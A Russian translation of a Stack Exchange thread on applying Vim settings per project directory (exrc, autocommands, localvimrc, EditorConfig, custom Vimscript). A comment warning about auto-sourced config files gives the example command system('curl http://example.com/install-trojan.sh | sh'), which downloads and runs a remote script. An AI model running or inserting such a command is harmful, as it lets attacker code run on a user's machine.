Применение настроек только к дереву каталогов


33

В моей работе мы используем стандарт ts2; мое личное предпочтение - 4, и это то, что я использую для своих хобби-проектов, и этот другой проект, который мы унаследовали, имеет соглашение ts=8.

Есть также некоторые другие настройки, которые я хочу установить для проекта (например, сворачивание). Использование этих настроек для типа файла или их автоматическое определение в зависимости от того, какой файл используется, не являются хорошими вариантами, поскольку я хочу соблюдать соглашения каждого проекта.

Можно ли заставить Vim использовать файл настроек, который применяется к проекту (все в дереве каталогов), не добавляя моделину ко всем файлам?


Ответы:


19

Есть несколько легких способов сделать это.

  1. Проверьте наличие файла с заданным именем и укажите его источник.

    if filereadable(".vimscript_file")
        so .vimscript_file
    endif
    

    Файл скрыт в примере, но это необязательно.

  2. Локальные .vimrcфайлы (не такие как плагин)

    set exrc
    

    Это похоже на 1. но файл будет называться ".vimrc".

    Общее предложение сопровождать это заключается в использовании

    set secure
    

    что не позволяет .vimrcфайлу выполнять потенциально опасные вещи, такие как запуск команд оболочки. Идея в том, что вы не захотите, чтобы vim читал .vimrcфайл, написанный кем-то другим, который делает что-то неприятное.

  3. Автокоманды, которые проверяют текущий путь

    au BufNewFile,BufRead *path-possibly-using-globbing setlocal setting=value
    

    Это вариант, который я использую. Я не сильно меняюсь между различными проектами, так что YMMV, но если вы просто хотите сделать одну или две вещи, основанные на пути и оставить их в своем, .vimrcэто приятно и просто.


Обратите внимание, что опции 1 и 2 имеют те же ограничения, что описаны в этом комментарии : они не применяются рекурсивно к подкаталогам.

15

Я использую localvimrc для этой цели.

Поместите .lvimrcс настройками вашего проекта в ваш проект, и эти настройки переопределят настройки в .vimrc.

По умолчанию вас спросят, хотите ли вы получить этот файл, например:

localvimrc: source /home/martin/code/.lvimrc? ([y]es/[n]o/[a]ll/[q]uit) 

Это сделано для предотвращения поиска случайных (ненадежных) файлов vimrc. Если вас это раздражает, вы можете настроить белый список .lvimrcфайлов с помощью g:localvimrc_whitelist:

let g:localvimrc_whitelist = '/home/martin/code/.lvimrc'

Или вы можете просто отключить запрос подтверждения с помощью set g:localvimrc_ask = 0. Это не рекомендуется, хотя.


5

Центральная конфигурация

Если вы можете централизованно настраивать определенные команды / локальные исключения, вы можете поместить такие autocmds в ваш ~/.vimrc:

:autocmd BufRead,BufNewFile /path/to/dir/* setlocal ts=4 sw=4

Важно использовать :setlocalвместо :set, а также :map <buffer> ...и :command! -buffer ....

С другой стороны, если вы хотите, чтобы конкретная конфигурация сохранялась вместе с проектом (и не хотите встраивать ее во все файлы с помощью modelines ), у вас есть следующие две опции:

Локальный конфиг со встроенным функционалом

Если вы всегда запускаете Vim из корневого каталога проекта, встроенный

:set exrc

разрешает чтение .vimrcфайла из текущего каталога. Вы можете разместить :set ts=4 sw=4команды там.

Локальный конфиг через плагин

В противном случае вам нужна помощь плагина; на vim.org их несколько; Я могу порекомендовать плагин localrc , который даже разрешает локальную настройку файлового типа .

Обратите внимание, что чтение конфигурации из файловой системы имеет последствия для безопасности; Вы можете хотеть :set secure.


2
Обратите внимание, что .exrcони крайне ограничены: понятие проекта останавливается на текущем каталоге, то есть файлы в подкаталогах не принадлежат проекту.
Люк Эрмит

4

Существует проект Editor Config, который позволяет вам определять конфигурации на уровне проекта, такие как настройки табуляции, а также новые стили линий и другие вещи. Существует множество подключений для всех типов редакторов, включая vim . Это также позволяет вам определять настройки для разных типов файлов.

# EditorConfig is awesome: http://EditorConfig.org

# top-most EditorConfig file
root = true

# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true

# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8

# 4 space indentation
[*.py]
indent_style = space
indent_size = 4

# Tab indentation (no size specified)
[*.js]
indent_style = tab

# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2

# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2

0

Я написал это и добавил в свой .vimrc, чтобы позволить мне размещать файлы .vimsettings в проектах и ​​подпроектах.

" Search for any .vimsettings files in the path to the file.
" Source them if you find them.
function! ApplyLocalSettings(dirname)
    " Don't try to walk a remote directory tree -- takes too long, too many
    " what if's
    let l:netrwProtocol = strpart(a:dirname, 0, stridx(a:dirname, "://"))
    if l:netrwProtocol != ""
        return
    endif

    " Convert windows paths to unix style (they still work)
    let l:curDir = substitute(a:dirname, "\\", "/", "g")
    let l:parentDir = strpart(l:curDir, 0, strridx(l:curDir, "/"))
    if isdirectory(l:parentDir)
        " Recursively walk to the top of the path
        call ApplyLocalSettings(l:parentDir)
    endif

    " Now walk back down the path and source .vimsettings as you find them. This
    " way child directories can 'inherit' from their parents
    let l:settingsFile = a:dirname . "/.vimsettings"
    if filereadable(l:settingsFile)
        exec ":source " . l:settingsFile
    endif
endfunction
autocmd! BufEnter * call ApplyLocalSettings(expand("<afile>:p:h"))

Хотя это работает, это может считаться опасным, поскольку вы просто используете файл и выполняете все команды в нем (включая команды оболочки, такие как system('curl http://example.com/install-trojan.sh | sh')...
Martin Tournoij

0

Я хотел этого, поэтому я просто реализовал это локально. Я не так озабочен «выполнением случайного кода», но это может работать для простых нужд. При необходимости измените имена файлов.

let s:this_file = expand("<sfile>")
autocmd BufEnter * call LoadLocalVimrc(expand("<afile>"))

function! LoadLocalVimrc(filename)
    let l:filepath = fnamemodify(a:filename, ':h')
    let l:file = findfile("local.vimrc", l:filepath . ";/")
    if l:file != ''
        execute "source" l:file
        execute "nnoremap <F8> :$tabe " . s:this_file . "<CR>:sp " . l:file . "<CR>"
    endif
endfunction

Это local.vimrcна самом деле символическая ссылка на файл в моей обширной коллекции файлов vimrc для каждой компании, который я могу хранить в системе контроля версий в другом месте, что позволяет легко перенести всю мою конфигурацию на другие машины или если я посещаю компанию на месте или что-то в этом роде. , Можно использовать каскадные конфиги, но на практике эта функциональность мне не нужна. Я также подключаюсь, F8чтобы открыть этот найденный файл и мой "главный" .vimrcв новой вкладке ...

Внутри этих локальных конфигов, так как они анализируются для каждого открытого файла, обязательно установите для вас отображения и настройки в локальный буфер. Например

nnoremap <buffer> <F3> :silent !p4 edit %<CR>:w!<CR>:e<CR>
nnoremap <buffer> <S-F3> :w<CR>:silent !p4 add %<CR>
nnoremap <buffer> <C-F3> :silent !p4 diff %<CR>
nnoremap <buffer> <S-C-F3> :silent !p4vc timelapse %<CR>

setlocal textwidth=101
setlocal noexpandtab
setlocal shiftwidth=4
setlocal tabstop=4
setlocal cinoptions=:0g0(0l1j0*700s+s
Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.